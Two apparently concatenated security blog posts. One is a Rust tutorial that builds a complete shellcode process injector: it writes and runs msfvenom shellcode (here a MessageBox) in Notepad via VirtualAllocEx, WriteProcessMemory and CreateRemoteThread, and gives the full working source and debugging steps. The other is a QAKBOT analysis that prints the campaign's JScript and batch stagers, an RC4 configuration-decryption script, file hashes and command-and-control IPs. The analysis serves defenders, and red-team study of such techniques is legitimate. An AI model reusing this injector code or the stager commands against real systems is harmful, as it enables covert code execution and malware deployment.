        0x24, 0x8b, 0x45, 0x3c, 0x8b, 0x54, 0x28, 0x78, 0x01, 0xea, 0x8b, 0x4a, 0x18, 0x8b, 0x5a,
        0x20, 0x01, 0xeb, 0xe3, 0x34, 0x49, 0x8b, 0x34, 0x8b, 0x01, 0xee, 0x31, 0xff, 0x31, 0xc0,
        0xfc, 0xac, 0x84, 0xc0, 0x74, 0x07, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0xeb, 0xf4, 0x3b, 0x7c,
        0x24, 0x28, 0x75, 0xe1, 0x8b, 0x5a, 0x24, 0x01, 0xeb, 0x66, 0x8b, 0x0c, 0x4b, 0x8b, 0x5a,
        0x1c, 0x01, 0xeb, 0x8b, 0x04, 0x8b, 0x01, 0xe8, 0x89, 0x44, 0x24, 0x1c, 0x61, 0xc3, 0xb2,
        0x08, 0x29, 0xd4, 0x89, 0xe5, 0x89, 0xc2, 0x68, 0x8e, 0x4e, 0x0e, 0xec, 0x52, 0xe8, 0x9f,
        0xff, 0xff, 0xff, 0x89, 0x45, 0x04, 0xbb, 0x7e, 0xd8, 0xe2, 0x73, 0x87, 0x1c, 0x24, 0x52,
        0xe8, 0x8e, 0xff, 0xff, 0xff, 0x89, 0x45, 0x08, 0x68, 0x6c, 0x6c, 0x20, 0x41, 0x68, 0x33,
        0x32, 0x2e, 0x64, 0x68, 0x75, 0x73, 0x65, 0x72, 0x30, 0xdb, 0x88, 0x5c, 0x24, 0x0a, 0x89,
        0xe6, 0x56, 0xff, 0x55, 0x04, 0x89, 0xc2, 0x50, 0xbb, 0xa8, 0xa2, 0x4d, 0xbc, 0x87, 0x1c,
        0x24, 0x52, 0xe8, 0x5f, 0xff, 0xff, 0xff, 0x68, 0x58, 0x20, 0x20, 0x20, 0x68, 0x77, 0x61,
        0x72, 0x65, 0x68, 0x52, 0x75, 0x73, 0x74, 0x31, 0xdb, 0x88, 0x5c, 0x24, 0x08, 0x89, 0xe3,
        0x68, 0x6e, 0x58, 0x20, 0x20, 0x68, 0x63, 0x74, 0x69, 0x6f, 0x68, 0x49, 0x6e, 0x6a, 0x65,
        0x68, 0x65, 0x73, 0x73, 0x20, 0x68, 0x50, 0x72, 0x6f, 0x63, 0x31, 0xc9, 0x88, 0x4c, 0x24,
        0x11, 0x89, 0xe1, 0x31, 0xd2, 0x52, 0x53, 0x51, 0x52, 0xff, 0xd0, 0x31, 0xc0, 0x50, 0xff,
        0x55, 0x08,
    ];
    let payload_len = payload.len();
    let payload_ptr: *const c_void = payload.as_ptr() as *const c_void;
    let target_process = "notepad.exe";
    let pid = find_pid(target_process);

    if pid != 0 {
        inject(pid, payload_ptr, payload_len);
    } else {
        println!("{} not found", target_process);
    }
}

Rustware Part 1: Shellcode Process Injection Development (Windows)

Fri, 27 Oct 2023 00:00:00 +0200

Malware development is essential when performing activities like Red Teaming, Adversary Emulation and Network Penetration Testing, the operator can use custom malwares to perform various tasks based on the specific situation. At the same time, analyzing Malwares is useful to learn how malwares work and how to detect them, in order to defend our companies from threat actors. For these reasons I studied several books and courses about Windows Internals, Malware Development and Malware Analysis.

Several threat actors like ALPHV, Hive and Qilin started to develop malware using the Rust programming languages because of its great memory management, speed, and complexity during reverse engineering.

In the last months I started to study and develop custom tools using Rust program language. This first blog post is about the development of a binary that performs an injection of a MessageBox into a target process.

The Shellcode Process Injection we are going to use relies on the use of several WinAPIs: OpenProcess is used to open a handle to the target process, in our case Notepad.exe. We will use this handle to interact with Nodepad.exe , after that, using VirtualAllocEx we can allocate a new region of memory in Notepad.exe with Readable and Writable protection; this region will contain our shellcode written by WriteProcessMemory. Using VirtualProtectEx we can change the memory protection to Readable and Executable to allow CreateRemoteThread to run the shellcode contained in the new allocated memory in Notepad.exe .

Process Injection

The process injection we are going to develop is a simple Shellcode Injection using the following WinAPIs:

OpenProcess: gets a handle to the target process
VirtualAllocEx: allocates memory in the remote target process
WriteProcessMemory: writes our payload into the allocated memory
VirtualProtectEx: changes the remote memory protection
CreateRemoteThread: runs our payload

Figure 1 - Shellcode Process Injection

The payload we are going to use is a message box showing the string “Process Injection”; it was generated using the following msfvenom command.

Figure 2 - msfvenom command

Rustware Setup

Visual Studio Code 1.83.0
Rust-analyzer 0.3.1689
CodeLLDB 1.10.0
Crates 0.6.3
Windows Crate 0.51.1

Rustware Development

First of all, it is necessary to add the Windows Crate to the Cargo.toml file to use the WinAPIs, as shown below.

Figure 3 - Cargo.toml File

Each WinAPI requires a feature that must be written in the Cargo.toml file; we can see the features in the Windows Crate documentation.

Figure 4 - Open Process Specification

Below, a list of the WinAPIs we are going to use and the features they require:

OpenProcess: “Win32_System_Threading” and “Win32_Foundation”
VirtualAllocEx: “Win32_System_Memory”, and “Win32_Foundation”
WriteProcessMemory: “Win32_System_Diagnostics_Debug” and “Win32_Foundation”
VirtualProtectEx: “Win32_System_Memory”, and “Win32_Foundation”
CreateRemoteThread: “Win32_System_Threading”, “Win32_Foundation” and “Win32_Security”.

After adding all the features, the Cargo.toml file will look like this.

Figure 5 - Cargo.toml File

Each feature must also be imported in the code; we can achieve this with the use declaration as shown below.

use std::{ffi::c_void, mem::transmute};

use windows::{
    Win32::Foundation::CloseHandle, Win32::System::Diagnostics::Debug::*, Win32::System::Memory::*,
    Win32::System::Threading::*,
};

In order to get the PID of the target process as argument, we can use the std::env::args. The code below checks if the user has specified the PID as argument, if not, it prints the usage string, otherwise it saves the value in the pid variable.

fn main() {

    let args: Vec<String> = args().collect();

    if args.len() < 2{
        println!("Usage: rustware.exe PID");
        return
    }

    let pid: u32 = args[1].parse().unwrap();

The payload is contained in an array of 272 unsigned 8-bit integers. The payload length is calculated using the .len(). function, and the .payload_ptr. variable (use .std::ffi::c_void.) contains a pointer to the payload, we get it by using the .as_ptr(). to get a raw pointer to the payload and then casting the raw pointer to a *const c_void.

let payload : [u8; 272]= [ 
                                0xd9, 0xeb, 0x9b, 0xd9, 0x74, 0x24, 0xf4, 0x31, 0xd2, 0xb2, 0x77, 0x31, 0xc9, 0x64, 0x8b,0x71,
                                0x30, 0x8b, 0x76, 0x0c, 0x8b, 0x76, 0x1c, 0x8b, 0x46, 0x08, 0x8b, 0x7e, 0x20, 0x8b, 0x36, 0x38,
                                0x4f, 0x18, 0x75, 0xf3, 0x59, 0x01, 0xd1, 0xff, 0xe1, 0x60, 0x8b, 0x6c, 0x24, 0x24, 0x8b, 0x45,
                                0x3c, 0x8b, 0x54, 0x28, 0x78, 0x01, 0xea, 0x8b, 0x4a, 0x18, 0x8b, 0x5a, 0x20, 0x01, 0xeb, 0xe3,
                                0x34, 0x49, 0x8b, 0x34, 0x8b, 0x01, 0xee, 0x31, 0xff, 0x31, 0xc0, 0xfc, 0xac, 0x84, 0xc0, 0x74,
                                0x07, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0xeb, 0xf4, 0x3b, 0x7c, 0x24, 0x28, 0x75, 0xe1, 0x8b, 0x5a,
                                0x24, 0x01, 0xeb, 0x66, 0x8b, 0x0c, 0x4b, 0x8b, 0x5a, 0x1c, 0x01, 0xeb, 0x8b, 0x04, 0x8b, 0x01,
                                0xe8, 0x89, 0x44, 0x24, 0x1c, 0x61, 0xc3, 0xb2, 0x08, 0x29, 0xd4, 0x89, 0xe5, 0x89, 0xc2, 0x68,
                                0x8e, 0x4e, 0x0e, 0xec, 0x52, 0xe8, 0x9f, 0xff, 0xff, 0xff, 0x89, 0x45, 0x04, 0xbb, 0x7e, 0xd8,
                                0xe2, 0x73, 0x87, 0x1c, 0x24, 0x52, 0xe8, 0x8e, 0xff, 0xff, 0xff, 0x89, 0x45, 0x08, 0x68, 0x6c,
                                0x6c, 0x20, 0x41, 0x68, 0x33, 0x32, 0x2e, 0x64, 0x68, 0x75, 0x73, 0x65, 0x72, 0x30, 0xdb, 0x88,
                                0x5c, 0x24, 0x0a, 0x89, 0xe6, 0x56, 0xff, 0x55, 0x04, 0x89, 0xc2, 0x50, 0xbb, 0xa8, 0xa2, 0x4d,
                                0xbc, 0x87, 0x1c, 0x24, 0x52, 0xe8, 0x5f, 0xff, 0xff, 0xff, 0x68, 0x58, 0x20, 0x20, 0x20, 0x68,
                                0x77, 0x61, 0x72, 0x65, 0x68, 0x52, 0x75, 0x73, 0x74, 0x31, 0xdb, 0x88, 0x5c, 0x24, 0x08, 0x89,
                                0xe3, 0x68, 0x6e, 0x58, 0x20, 0x20, 0x68, 0x63, 0x74, 0x69, 0x6f, 0x68, 0x49, 0x6e, 0x6a, 0x65,
                                0x68, 0x65, 0x73, 0x73, 0x20, 0x68, 0x50, 0x72, 0x6f, 0x63, 0x31, 0xc9, 0x88, 0x4c, 0x24, 0x11,
                                0x89, 0xe1, 0x31, 0xd2, 0x52, 0x53, 0x51, 0x52, 0xff, 0xd0, 0x31, 0xc0, 0x50, 0xff, 0x55, 0x08
                                ];   
    let payload_len = payload.len();
    let payload_ptr: *const c_void = payload.as_ptr() as *const c_void;

The Inject function takes three parameters: the PID of the target process, a pointer to the payload, and the payload length.

fn inject( pid: u32, payload_ptr: *const c_void, payload_len: usize){

The WinAPIs we are going to use are defined as unsafe function, because Rust can’t guarantee the memory safety, so it’s our responsibility. In the image below we can see the OpenProcess implementation, it is declared as an unsafe function.

Figure 6 - OpenProcess Implementation

In order to use an unsafe function, we need to add an unsafe block; we are going to use this block for all the WinAPIs. Let’s use OpenProcess to get a handle to the target process. It returns a Result enum containing the Handle to the opened process, or the error if it fails. Using the match construct we can use the variants Ok() and Err() to define what to do if the function succeeds or fails.

fn inject( pid: u32, payload_ptr: *const c_void, payload_len: usize){
    unsafe{
        let result_openprocess = OpenProcess(PROCESS_ALL_ACCESS,false,pid);

        match result_openprocess{
            Ok(handle_process) => {
                println!("OpenProcess succeeds")
            }

            Err(error) => {
                println!("OpenProcess Error: {}",error)
            }
        }
    }
}

If the function succeeds the program performs VirtualAllocEx to allocate a region of memory that is readable and writable into a remote target process and print the allocated memory address, otherwise it prints an error message. We don’t specify the lpaddress because we want the WinAPI to determinate where to allocate the region of memory

Ok(handle_process) => {
    let remotememory_ptr: *mut c_void = VirtualAllocEx(handle_process,None,payload_len,MEM_COMMIT,PAGE_READWRITE);    

    if !remotememory_ptr.is_null(){
        println!("Allocated Memory Address: {:p}",remotememory_ptr);
    }   
    else{
         println!("VirtualAllocEx Error")
    }

After that, we have to write our payload in the new allocated memory. To do that we use WriteProcessMemory.

 let result_writeprocessmemory =  WriteProcessMemory(handle_process,remotememory_ptr,payload_ptr,payload_len,None);

Using VirtualProtectEx, it is possible to change the memory protection to PAGE_EXECUTE_READ to make the payload executable.

match result_writeprocessmemory{
    Ok(()) => {
       let result_virtualprotectex =  VirtualProtectEx(handle_process,remotememory_ptr,payload_len,PAGE_EXECUTE_READ,&mut old_protect);
                           
        match result_virtualprotectex{

At this point we can execute our payload using. The transmute function allows us to convert the pointer to our payload into a pointer to a function to be executed by the new created Thread as required by the WinAPI.

match result_virtualprotectex{
    Ok(()) => {
        let result_createremotethread= CreateRemoteThread(handle_process,None,0,transmute(remotememory_ptr),None,0,None);
        match result_createremotethread{
            Ok(_handle_tread) => {
                println!("Threat Created")   
            }
            Err(error) => {
                println!("CreateRemoteThread Error: {}",error)
            }
    } 

To compile the program into a 32bit binary we can use the target flag specifying the i686 architecture.

Figure 7 - Compile Program for 32bit architecture

Running the binary we successfully inject our MessageBox into Notepad.exe.

Figure 8 - MessageBox Process Injection in Notepad.exe

Debugging

Using Process Hacker and x32dbg we can debug our binary to understand how it works under the hood. In x32dbg we can change the command line to specify the target process PID and set the breakpoints on the WinAPIs that our binary is going to use.

Figure 9 - Change Command Line

Figure 10 - x32dbg Breakpoints

OpenProcess

OpenProcess(PROCESS_ALL_ACCESS,false,pid)

Running the debugger, we can see that OpenProcess is correctly getting the tree parameters:

0x1FFFFF is PROCESS_ALL_ACCESS
0 is false
0x1F80 is the Notepad.exe PID in hex

Figure 11 - OpenProcess Debug

We can see the Notepad.exe handle in our binary handles list.

Figure 12 - Notepad.exe Handle

VirtualAllocEx

VirtualAllocEx(handle_process,None,payload_len,MEM_COMMIT,PAGE_READWRITE);    

The VirtualAllocEx stack contains the following parameters:

0x160 is the Notepad.exe handle
0x0 is None
0x110 is the payload length
0x1000 is the MEM_COMMIT value
0x4 is the PAGE_READWRITE value

Figure 13 - VirtualAllocEx Debug

We can confirm it by using Process Hacker and inspecting the Notepad.exe memory, as we can see a new allocated memory with RW protection exists at address 0x4D20000.

Figure 14 - Allocated Memory in Notepad.exe

WriteProcessMemory

WriteProcessMemory(handle_process,remotememory_ptr,payload_ptr,payload_len,None);  

Following the WriteProcessMemory arguments:

0x160 is the Notepad.exe handle
0x4D20000 is the remote memory address
0xD8FC78 is the payload address
0x110 is the payload len
0x0 is None

Figure 15 - WriteProcessMemory Debug

We can confirm it in ProcessHacker by inspecting the memory at address 0x4D20000.

Figure 16 - Payload written in the Allocated Memory

VirtualProtectEx

VirtualProtectEx(handle_process,remotememory_ptr, payload_len,PAGE_EXECUTE_READ,&mut old_protect);

VirtualProtectEx is correctly getting the arguments:

0x160 is the Notepad.exe handle
0x4D20000 is the remote memory address
0x110 is the payload length
0x20 is the PAGE_EXECUTE_READ value
0xD8FD98 is the old_protect variable address

Figure 17 - VirtualProtectEx Debug

In ProcessHacker we can see the protection flag changed to RX.

Figure 18 - Permission allocated memory in Notepad.exe

CreateRemoteThread

CreateRemoteThread(handle_process,None,0,transmute(remotememory_ptr),None,0,None);

Lastly, the CreateRemoteThread arguments are:

0x160 is the Notepad.exe handle
0x0 is None
0x0 is 0
0x4D20000 is the remote memory address to be executed
0x0 is None
0x0 is 0
0x0 is None

Figure 19 - CreateRemoteThread Debug

By continuing the execution, our MessageBox wil popup.

Figure 20 - Process Injection Debug

Conclusion

Rust performs security checks at compile and runtime that prevent some of the infamous bugs, since unsafe blocks lack of security checks, we need to be careful when developing malwares because WinAPIs we saw are defined as unsafe function.

In the next blog post we would like to show how to implement other techniques and how to reverse engineering Rust malwares.

I’m new to Rust so feel free to contact me, I’d appreciate any feedback.

References

Final Code

use std::{ffi::c_void, mem::transmute};

use windows::{
    Win32::Foundation::CloseHandle, Win32::System::Diagnostics::Debug::*, Win32::System::Memory::*,
    Win32::System::Threading::*,
};

fn inject(pid: u32, payload_ptr: *const c_void, payload_len: usize) {
    unsafe {
        let result_openprocess = OpenProcess(PROCESS_ALL_ACCESS, false, pid);
        let mut old_protect: PAGE_PROTECTION_FLAGS = PAGE_PROTECTION_FLAGS(0);

        match result_openprocess {
            Ok(handle_process) => {
                let remotememory_ptr: *mut c_void = VirtualAllocEx(
                    handle_process,
                    None,
                    payload_len,
                    MEM_COMMIT,
                    PAGE_READWRITE,
                );

                if !remotememory_ptr.is_null() {
                    println!("Allocated Memory Address: {:p}", remotememory_ptr);

                    let result_writeprocessmemory = WriteProcessMemory(
                        handle_process,
                        remotememory_ptr,
                        payload_ptr,
                        payload_len,
                        None,
                    );

                    match result_writeprocessmemory {
                        Ok(()) => {
                            let result_virtualprotectex = VirtualProtectEx(
                                handle_process,
                                remotememory_ptr,
                                payload_len,
                                PAGE_EXECUTE_READ,
                                &mut old_protect,
                            );

                            match result_virtualprotectex {
                                Ok(()) => {
                                    let result_createremotethread = CreateRemoteThread(
                                        handle_process,
                                        None,
                                        0,
                                        transmute(remotememory_ptr),
                                        None,
                                        0,
                                        None,
                                    );

                                    match result_createremotethread {
                                        Ok(handle_tread) => {
                                            println!("Thread Created");
                                            let _ = CloseHandle(handle_tread);
                                        }
                                        Err(error) => {
                                            println!("CreateRemoteThread Error: {}", error)
                                        }
                                    }
                                }
                                Err(error) => {
                                    println!("VirtualProtectEx Error: {}", error)
                                }
                            }
                        }

                        Err(error) => {
                            println!("WriteProcessMemory Error: {}", error)
                        }
                    }
                } else {
                    println!("VirtualAllocEx Error")
                }
                let _ = CloseHandle(handle_process);
            }
            Err(error) => {
                println!("OpenProcess Error: {}", error)
            }
        }
    }
}

fn main() {
    let args: Vec<String> = args().collect();

    if args.len() < 2 {
        println!("Usage: rustware.exe PID");
        return;
    }

    let pid: u32 = args[1].parse().unwrap();

    let payload: [u8; 272] = [
        0xd9, 0xeb, 0x9b, 0xd9, 0x74, 0x24, 0xf4, 0x31, 0xd2, 0xb2, 0x77, 0x31, 0xc9, 0x64, 0x8b,
        0x71, 0x30, 0x8b, 0x76, 0x0c, 0x8b, 0x76, 0x1c, 0x8b, 0x46, 0x08, 0x8b, 0x7e, 0x20, 0x8b,
        0x36, 0x38, 0x4f, 0x18, 0x75, 0xf3, 0x59, 0x01, 0xd1, 0xff, 0xe1, 0x60, 0x8b, 0x6c, 0x24,
        0x24, 0x8b, 0x45, 0x3c, 0x8b, 0x54, 0x28, 0x78, 0x01, 0xea, 0x8b, 0x4a, 0x18, 0x8b, 0x5a,
        0x20, 0x01, 0xeb, 0xe3, 0x34, 0x49, 0x8b, 0x34, 0x8b, 0x01, 0xee, 0x31, 0xff, 0x31, 0xc0,
        0xfc, 0xac, 0x84, 0xc0, 0x74, 0x07, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0xeb, 0xf4, 0x3b, 0x7c,
        0x24, 0x28, 0x75, 0xe1, 0x8b, 0x5a, 0x24, 0x01, 0xeb, 0x66, 0x8b, 0x0c, 0x4b, 0x8b, 0x5a,
        0x1c, 0x01, 0xeb, 0x8b, 0x04, 0x8b, 0x01, 0xe8, 0x89, 0x44, 0x24, 0x1c, 0x61, 0xc3, 0xb2,
        0x08, 0x29, 0xd4, 0x89, 0xe5, 0x89, 0xc2, 0x68, 0x8e, 0x4e, 0x0e, 0xec, 0x52, 0xe8, 0x9f,
        0xff, 0xff, 0xff, 0x89, 0x45, 0x04, 0xbb, 0x7e, 0xd8, 0xe2, 0x73, 0x87, 0x1c, 0x24, 0x52,
        0xe8, 0x8e, 0xff, 0xff, 0xff, 0x89, 0x45, 0x08, 0x68, 0x6c, 0x6c, 0x20, 0x41, 0x68, 0x33,
        0x32, 0x2e, 0x64, 0x68, 0x75, 0x73, 0x65, 0x72, 0x30, 0xdb, 0x88, 0x5c, 0x24, 0x0a, 0x89,
        0xe6, 0x56, 0xff, 0x55, 0x04, 0x89, 0xc2, 0x50, 0xbb, 0xa8, 0xa2, 0x4d, 0xbc, 0x87, 0x1c,
        0x24, 0x52, 0xe8, 0x5f, 0xff, 0xff, 0xff, 0x68, 0x58, 0x20, 0x20, 0x20, 0x68, 0x77, 0x61,
        0x72, 0x65, 0x68, 0x52, 0x75, 0x73, 0x74, 0x31, 0xdb, 0x88, 0x5c, 0x24, 0x08, 0x89, 0xe3,
        0x68, 0x6e, 0x58, 0x20, 0x20, 0x68, 0x63, 0x74, 0x69, 0x6f, 0x68, 0x49, 0x6e, 0x6a, 0x65,
        0x68, 0x65, 0x73, 0x73, 0x20, 0x68, 0x50, 0x72, 0x6f, 0x63, 0x31, 0xc9, 0x88, 0x4c, 0x24,
        0x11, 0x89, 0xe1, 0x31, 0xd2, 0x52, 0x53, 0x51, 0x52, 0xff, 0xd0, 0x31, 0xc0, 0x50, 0xff,
        0x55, 0x08,
    ];
    let payload_len = payload.len();
    let payload_ptr: *const c_void = payload.as_ptr() as *const c_void;

    inject(pid, payload_ptr, payload_len);
}

QAKBOT BB Configuration and C2 IPs List

Thu, 13 Oct 2022 00:00:00 +0200

This is my first malware blog post, hope it will be useful to someone, I’ll not go deeper in the malware details because there are plenty of detailed reports related to QAKBOT. I’ll describe how the malware changed its resource decryption mechanism and report some IoCs.

On September 30, 2022 a friend of mine received a phishing email pretending to be sent by one of his customers, the email contained an URL, a password and a legit old message.

Figure 1 - Phishing Email

By visiting the URL https://lynxus[.]com/usq/refeidpisnretse with a user agent related to Windows, a working zip named Card654141047.zip is provided, if the user agent is not “ok” the server responses with a fake zip file that doesn’t work.

Figure 2 - Malcious URL message containing the zip password

Using the provided password “U492”, it is possible to extract an ISO file from the zip. The ISO file contains a LNK file and a hidden folder with the following files:

expeditionPresides.js
redressingLamentations.cmd
regressing.txt
rougher.gif
tiddler.dat

Figure 3 - Lnk File and hidden folder

Figure 4 - Hidden folder content

The LNK file is a link to expeditionPresides.js, it contains the following JScript:

// observablyCleaned
var undisruptedPuzzles = "rund DllRegis";

// ShellExecute
var bridgeheadsLibels = new ActiveXObject("shell.application").shellexecute("assaulting\\redressingLamentations.cmd", undisruptedPuzzles, "", "open", 0);

it runs redressingLamentations.cmd by proving two parameters “rund DllRegis”. Following the content of redressingLamentations.cmd.

@echo off

set a=ll
set e=32

:: tankageLicentiously
%1%a%%e% assaulting\tiddler.dat,%2terServer

exit

It uses rundll32 in order to execute the DllRegisterServer export function from tiddler.dat, following some details of the DLL.

Figure 5 - tiddler.dat details

Tiddler.dat is the first stage DLL used to extract the unpacked version of the malware, by setting a breakpoint on NtAllocateVirtualMemory it’s easy to find the unpacked version, I’ll not describe how to get it.

After unpacking the DLL, we can analyse it, the details are in the image below.

Figure 6 - Unpacked DLL details

After some analysis we can confirm that the malware is QAKBOT, the malware seems to be similar to the one reported by several blog post, anyway the BOT Configuration and the C2 IPs list are encrypted in a different way, so I’ll only describe how to decrypt it instead of write something already reported in a very clear way by several blog posts:

You can find all the decrypted strings and the scripts in my GitHub.

The file has two resources, one containing the encrypted Configuration and one containing the encrypted C2 IPs list.

Figure 7 - Resouce 3C91E639 containing the C2 list

Figure 8 - Resource 89210AF9 containing the bot configuration

The resources are encrypted in the same way, so let’s use the configuration resource as example.

Two “steps” of RC4 encryption are used, let’ see it on CyberChef in order to be clearer.

As shown in the image below, in the first step, the SHA1 Hash is calculated on the string, “Muhcu#YgcdXubYBu2@2ub4fbUhuiNhyVtcd”, the SHA1 Hash result is “CA 6A E9 55 26 F0 BC EB 6B A5 39 0E B6 14 81 9A 9B 4A F9 4E”, this will be the RC4 key (the string used is different in each qakbot sample, for example in another sample I analyzed it was “bUdiuy81gYguty@4frdRdpfko(eKmudeuMncueaN”, you have to figure out which string it uses).

Figure 9 - SHA1 Hash of the string "Muhcu#YgcdXubYBu2@2ub4fbUhuiNhyVtcd"

Using the data we obtain from SHA1 as key, we can use the RC4 algorithm to decrypt the data. The output from the first RC4 decryption will contains the following data:

From bytes 0 to 20: SHA1 Hash of New Key + Encrypted Configuration
From bytes 20 to 40: New Key
From bytes 40 to end: Encrypted Configuration

Figure 10 - Resource RC4 Decryption Step 1

In the image below we can see that the SHA1 Hash of New Key + Encrypted Configuration matches the first 20 bytes we got from the decrypted data.

Figure 11 - SHA1(Encrypted Configuration)

In the second step, the RC4 algorithm is used with the New Key to decrypt the Encrypted Configuration. The following images shows the result of the second step decryption.

Figure 12 - Resource RC4 Decryption Step 2

The QAKBOT campaign ID is “BB” the timestamp 1664535088 corresponds to Fri Sep 30 2022 10:51:28 GMT+0000.

While writing this, a blog post by Trendmicro was published talking about this specific QAKBOT campaign.

To automatically extract the configuration and the C2 IPs, I wrote the following python script.

import hashlib
from arc4 import ARC4  

file = open("89210AF9.bin","rb") #Resource with Qakbot configuration
resource = file.read()

key = hashlib.sha1(b"Muhcu#YgcdXubYBu2@2ub4fbUhuiNhyVtcd").digest() #change with your password
rc4 = ARC4(key)
data = rc4.decrypt(resource)

key = data[20:40]
rc4 = ARC4(key)

decrypted_data = rc4.decrypt(data[40:])
print("Qakbot Configuration:")
print((decrypted_data[20:]).decode("utf-8"))

file = open("3C91E639.bin","rb") #Resource with Qakbot C2 
resource = file.read()

key = hashlib.sha1(b"Muhcu#YgcdXubYBu2@2ub4fbUhuiNhyVtcd").digest() #change with your password
rc4 = ARC4(key)
data = rc4.decrypt(resource)


key = data[20:40]
rc4 = ARC4(key)
#print(key)
decrypted_data = rc4.decrypt(data[40:])


print("Qakbot C2:")
for i in range(21,len(decrypted_data),7):
    c2 = bytearray(decrypted_data[i:i+7])
    print("%d.%d.%d.%d:%d" % (c2[0],c2[1],c2[2],c2[3],(c2[4]<<8)+c2[5]))

Hope this first malware blog post can help someone during his analysis of QAKBOT, you can find the samples at the following urls:

Configuration:

10=BB
3=1664535088

File Hashes:

5B54F57DBAA74FA589AFB2D26D6C6B39E0C2930BD88FEA3172556CE96B3EB959
796FF26DB045085EC8162D414CC2DEAFB2836D3F0BFFD8C58AF4595EBB4261E9
D5F09EBC9B1F3FB9781ACA09E3B9FA63F90B909CC7418FF7D2AFA462F400DCE3
8B08C031D365A0B4D032C6E51BF773655E15795FE3EABCD3FA6487FFE9F3D6B3
93104C4834A27E39C13AC9D4663C6FA622AE6ECC5491A67DDF9125E6633CF07B
55AD915DCD65192548046ECBECDA5AD8AD6A92A11F07EC9A92744FCAC1599501
757D3C81555FBF635B2B9FD1D5222E6FE046710753395545A29E3E1F0A78FBF1
BD3A47E0E27523044FEB2C30879EB684CFD174EC329350BAF5E0824FFFF1A22F

C2 IPs:

41.107.71[.]201:443
105.101.230[.]16:443
105.108.239[.]60:443
196.64.227[.]5:8443
41.249.158[.]221:995
134.35.14[.]5:443
113.170.117[.]251:443
187.193.219[.]248:443
122.166.244[.]116:443
154.237.129[.]123:995
41.98.229[.]81:443
186.48.199[.]243:995
102.156.3[.]13:443
41.97.190[.]189:443
197.207.191[.]164:443
105.184.14[.]132:995
196.207.146[.]151:443
105.158.113[.]15:443
196.89.42[.]89:995
86.98.156[.]229:993
177.174.119[.]195:32101
81.156.194[.]147:2078
80.253.189[.]55:443
197.49.175[.]67:995
177.45.78[.]52:993
89.187.169[.]77:443
196.92.59[.]242:995
41.13.200[.]19:443
41.97.195[.]237:443
92.191.56[.]11:2222
154.70.53[.]202:443
210.186.37[.]98:50002